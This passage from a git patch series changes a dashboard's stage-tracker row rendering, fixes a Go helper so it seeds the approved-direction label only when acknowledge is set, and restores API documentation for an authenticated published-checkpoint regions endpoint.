stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(pr) : ''} </div>`; } @@ -19623,6 +19703,11 @@ <h3 class="faq-group-title">Where to get help</h3> const prs = typeof stageTrackerRowPRKeys === 'function' ? stageTrackerRowPRKeys(item) : ''; const trainKey = typeof stageTrackerTrainKey === 'function' ? stageTrackerTrainKey(item) : ''; if (typeof stageTrackerPreparationMark === 'function') stageTrackerPreparationMark(shown); + // One note line per row: the human line takes the stage note (folded + // or dropped), so the event slot below the caption renders nothing. + const rowKey = stageTrackerItemKey(item); + const humanNote = typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(item, stages, nowMs, subRows, ctx, rowKey) : ''; + const noteCtx = humanNote && typeof stageTrackerNoteTakenCtx === 'function' ? stageTrackerNoteTakenCtx(ctx, rowKey) : ctx; return `<div class="ham-row${typeof stageTrackerCueClasses === 'function' ? stageTrackerCueClasses(shown, ctx) : ''}${typeof stageTrackerTrainRowClass === 'function' ? stageTrackerTrainRowClass(item, ctx.prevRow || null, ctx.nextRow || null, ctx.trainIndex && trainKey ? ctx.trainIndex[trainKey] : undefined) : ''}${typeof stageTrackerPreparationRowClass === 'function' ? stageTrackerPreparationRowClass(item, stages, ctx) : ''}" tabindex="0" data-ham-kind="${esc(item.kind)}" data-ham-repo="${esc(item.repo || '')}" data-ham-stage="${Number(item.stage) || 0}"${prs ? ` data-ham-prs="${esc(prs)}"` : ''}${trainKey ? ` data-ham-train="${esc(trainKey)}"` : ''}> ${stageTrackerRowToolsHtml(item)} <div class="ham-row-head"> @@ -19632,7 +19717,7 @@ <h3 class="faq-group-title">Where to get help</h3> ${typeof stageTrackerPreparationNodeHtml === 'function' ? stageTrackerPreparationNodeHtml(item, stages, ctx) : ''} <ol class="ham-strip" aria-label="Pipeline progress"${stageTrackerMoveAttrs(stageTrackerItemKey(item), ctx)}>${stageTrackerStripItems(shown, stages, range, nowMs, ctx)}</ol> ${stageTrackerSinceHtml(shown, nowMs)} - </div>${typeof stageTrackerHumanContextHtml === 'function' ? stageTrackerHumanContextHtml(item, stages, nowMs, subRows) : ''}${stageTrackerCurrentStageHtml(shown, stages, range, nowMs)}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(shown, ctx, stageTrackerItemKey(item)) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(stageTrackerItemKey(item), ctx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(shown) : ''}${typeof stageTrackerReviewNotesHtml === 'function' ? stageTrackerReviewNotesHtml(item, ctx) : ''}${subs} + </div>${humanNote}${stageTrackerCurrentStageHtml(shown, stages, range, nowMs)}${typeof stageTrackerPreparationCommentHtml === 'function' ? stageTrackerPreparationCommentHtml(shown, noteCtx, rowKey) : typeof stageTrackerEventHtml === 'function' ? stageTrackerEventHtml(rowKey, noteCtx) : ''}${typeof stageTrackerExecutionHtml === 'function' ? stageTrackerExecutionHtml(shown) : ''}${typeof stageTrackerReviewNotesHtml === 'function' ? stageTrackerReviewNotesHtml(item, ctx) : ''}${subs} </div>`; } From dc8ccef2b084b5860f317dacc5037071d78bc1b6 Mon Sep 17 00:00:00 2001 From: Andrew Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 13:30:54 -0500 Subject: [PATCH 87/87] =?UTF-8?q?=F0=9F=90=9B=20fix(topup):=20kept=20needs?= =?UTF-8?q?-human=20stays=20045=20under=20#16579=20engine;=20restore=20v5?= =?UTF-8?q?=20regions=20doc=20section?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit unparkStageThatStays (v6 #14218) seeded the post-un-park label set with approved-direction unconditionally. v5 #16579 now derives needs-human beside the ack as held human work (stage None) rather than a 045 park, so for a kept lifecycle needs-human β€” where the ack is withheld β€” the helper misreported the hive's stage/045 as lifting and the reply said "still on the issue" instead of "stays". Only seed the ack when acknowledge is set. Fixes TestSweepLabelDrivenHiveApproveKeptNeedsHumanKeepsStage (test rest 3/4). Also re-add the "Published-checkpoint regions" prose section from v5 #16609 to api-reference/dashboard-misc.md, dropped by the row-only conflict resolution; fixes the broken #published-checkpoint-regions anchor (relative links and anchors resolve). Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- src/docs/api-reference/dashboard-misc.md | 22 ++++++++++++++++++++++ src/pkg/github/issue_unpark_command.go | 18 +++++++++++++----- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index edd6464051..5a11d1092c 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -123,3 +123,25 @@ PR writes. Push and same-head retry observations do not inherit an old fixer, owner or worker observation timestamp. Review completion uses the dispatch ledger's own agent/review-head/decision receipt and aggregate participation; another agent's same-perspective bundle verdict cannot settle that assignment. + +### Published-checkpoint regions + +`GET /api/matrix/lines?format=regions&since=<seq>&max=<lines>` selects whole +changed regions from the existing authorized sentinel observer. Authentication +and dashboard read permission are required, including in kiosk mode; responses +use `Cache-Control: no-store`. Disabled capture returns 404. An active cold +source returns 200 with an empty `regions` array and null `last_ingest_at`. + +The response contains continuation `seq`, source high-water mark `latest`, policy +`epoch`, source label `Pushed PR`, stage `pushed-checkpoint`, `last_ingest_at`, +`next_ingest_in_s`, and `regions`. Each region has its own sequence, repo, actual +PR number and `pr_url`, head, path, stage, observed `at`, and ordered `lines` +(`op` is `+` or `-`, `line` is untrimmed text). Follow response `seq`, not +`latest`, until caught up. `max` is a line budget (1–500, default 200); the first +eligible region is always returned whole, even if larger than the budget. +Code buffers are bounded and memory-only, so this is not an audit history. +Clear retained browser code on epoch changes and failed/disabled/unauthorized +pulls. An empty response says nothing about work outside the admitted source. + +This endpoint supplies the [Code activity reader](../dashboard.md#code-activity-reader); +see that section for presentation, compatibility, capture and access policies. diff --git a/src/pkg/github/issue_unpark_command.go b/src/pkg/github/issue_unpark_command.go index 327454847c..58ed93c120 100644 --- a/src/pkg/github/issue_unpark_command.go +++ b/src/pkg/github/issue_unpark_command.go @@ -799,7 +799,7 @@ func (c *Client) unparkLabelDrivenCommand(ctx context.Context, displayRepo, owne // The engine re-derives the stage from the labels left behind, so a kept // park label (a person's or a lifecycle bot's `needs-human`) re-parks the // issue at the same stage (hivecommons/hive#12715). - stayingStage := unparkStageThatStays(displayRepo, number, labels, removed, stageLabels) + stayingStage := unparkStageThatStays(displayRepo, number, labels, removed, stageLabels, acknowledge) if acknowledge && !labelPresent(labels, HumanAckLabel) { if _, _, err := c.client.Issues.AddLabelsToIssue(ctx, owner, repo, number, []string{HumanAckLabel}); err != nil { return false, fmt.Errorf("adding %s to %s/%s#%d: %w", HumanAckLabel, owner, repo, number, err) @@ -838,13 +838,21 @@ func (c *Client) unparkLabelDrivenCommand(ctx context.Context, displayRepo, owne } // unparkStageThatStays returns the stage label among stageLabels that the -// issue still derives once the un-park has removed removed and applied -// approved-direction, or "" when the park lifts. -func unparkStageThatStays(displayRepo string, number int, labels, removed, stageLabels []string) string { +// issue still derives once the un-park has removed removed and, when +// acknowledge is set, applied approved-direction, or "" when the park +// lifts. The ack is only counted when it is really applied: a kept +// `needs-human` withholds it, and the engine reads a plain `needs-human` +// as a 045 park but a `needs-human` beside the ack as held human work +// (hivecommons/hive#16579), so seeding the ack unconditionally would +// misreport a kept park as lifted. +func unparkStageThatStays(displayRepo string, number int, labels, removed, stageLabels []string, acknowledge bool) string { if len(stageLabels) == 0 { return "" } - after := []string{HumanAckLabel} + var after []string + if acknowledge { + after = append(after, HumanAckLabel) + } for _, label := range labels { if !labelPresent(removed, label) && !labelPresent(stageLabels, label) { after = append(after, label)